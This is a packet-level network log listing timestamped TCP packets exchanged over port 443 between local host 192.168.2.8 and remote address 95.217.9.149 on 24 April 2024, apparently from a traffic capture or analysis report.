Apr 24, 2024 17:37:28.969398975 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:28.969595909 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.046868086 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.046896935 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.046974897 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.046988964 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.047194958 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.049592018 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.102838039 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.102858067 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.102935076 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.102946997 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.102994919 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.103091955 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.174664021 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.174689054 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.174772024 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.174788952 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.174871922 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.241184950 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.241209984 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.241265059 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.241288900 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.241311073 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.243593931 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.300117970 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.300146103 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.300230026 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.300230026 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.300245047 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.300359964 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.347276926 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.347306013 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.347362041 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.347381115 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.347393990 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.347446918 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.387727022 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.387756109 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.387794971 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.387819052 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.387830973 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.388055086 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.427453995 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.427479029 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.427544117 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.427563906 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.427620888 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.427989006 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.457011938 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.457032919 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.457094908 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.457113981 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.457211971 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.487189054 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.487266064 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.487291098 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.487310886 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.487360001 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.487360001 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.517345905 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.517366886 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.517437935 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.517437935 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.517450094 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.517513037 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.540997982 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.541042089 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.541109085 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.541109085 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.541121006 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.542263985 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.569281101 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.569308043 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.569374084 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.569390059 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.569478035 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.571628094 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.592770100 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.592787981 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.592847109 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.592855930 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.592904091 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.595689058 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.619055986 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.619095087 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.619139910 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.619157076 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.619204044 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.619652987 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.640712976 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.640743017 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.640813112 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.640813112 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.640821934 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.642993927 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.662018061 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.662054062 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.662110090 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.662120104 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.662168980 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.663639069 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.683661938 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.683681011 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.683754921 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.683765888 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.683815956 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.706635952 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.706655025 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.706710100 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.706727982 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.706784010 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.706784010 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.725363016 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.725380898 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.725423098 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.725436926 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.725478888 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.725478888 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.746526003 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.746556997 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.746619940 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.746619940 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.746630907 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.748034954 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.765248060 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.765268087 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.765342951 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.765342951 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.765352964 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.767599106 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.781944036 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.781975985 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.782016993 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.782032013 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.782080889 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.783549070 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.797858953 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.797895908 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.797943115 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.797954082 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.797996998 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.797996998 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.815962076 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.815992117 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.816046953 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.816056013 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.816066027 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.816168070 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.831760883 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.831789970 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.831846952 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.831846952 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.831854105 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.831898928 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.845767021 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.845796108 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.845855951 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.845855951 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.845863104 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.845936060 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.861588001 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.861614943 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.861802101 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.861809015 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.861850977 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.874618053 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.874643087 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.874686003 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.874696970 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.874736071 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.874736071 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.888060093 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.888089895 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.888144970 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.888151884 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.888200045 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.888200045 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.900325060 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.900345087 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.900387049 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.900397062 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.900420904 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.900511026 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.913860083 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.913908005 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.913959026 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.913959026 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.913965940 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.913996935 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.925379038 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.925399065 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.925473928 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.925473928 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.925484896 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.925828934 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.937304974 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.937319994 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.937391043 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.937397957 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.937446117 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.949784994 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.949801922 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.949839115 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.949851036 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.949868917 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.952168941 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.960284948 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.960355997 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.960386992 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.960392952 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.960403919 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.960455894 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.970458031 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.970473051 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.970556974 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.970563889 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.970602036 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.981139898 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.981153011 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.981213093 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.981219053 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.981257915 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.992362976 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.992378950 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.992449999 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:29.992455959 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:29.992506027 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.001923084 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.001939058 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.002023935 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.002031088 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.002079964 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.012641907 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.012662888 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.012875080 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.012882948 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.012959957 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.022418976 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.022435904 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.022538900 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.022538900 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.022547007 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.022634983 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.031333923 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.031349897 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.031517029 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.031527996 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.031560898 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.040232897 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.040249109 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.040311098 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.040319920 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.040361881 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.050395012 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.050409079 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.050506115 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.050514936 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.050585032 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.059372902 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.059389114 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.059472084 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.059489965 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.059540987 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.067974091 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.067989111 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.068072081 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.068090916 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.068151951 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.077240944 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.077255011 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.077341080 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.077347994 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.077393055 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.085381985 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.085397005 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.085525036 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.085532904 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.085583925 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.093982935 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.093997955 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.094060898 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.094069958 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.094096899 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.094137907 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.103616953 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.103642941 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.103698969 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.103707075 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.103739977 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.103815079 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.112317085 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.112338066 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.112426996 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.112433910 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.112472057 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.112472057 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.119956017 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.119977951 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.120062113 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.120079041 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.120127916 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.128500938 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.128520966 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.128597021 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.128606081 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.128665924 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.136924028 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.136939049 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.137039900 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.137047052 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.137094021 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.144184113 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.144201994 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.144275904 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.144304037 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.144345045 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.144345045 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.153088093 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.153104067 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.153175116 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.153182030 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.153331041 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.161334991 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.161354065 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.161420107 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.161438942 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.161523104 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.169172049 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.169188023 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.169241905 CEST	49722	443	192.168.2.8	95.217.9.149
Apr 24, 2024 17:37:30.169246912 CEST	443	49722	95.217.9.149	192.168.2.8
Apr 24, 2024 17:37:30.169296980 CEST	49722	443	192.168.2.8	95.217.9.149
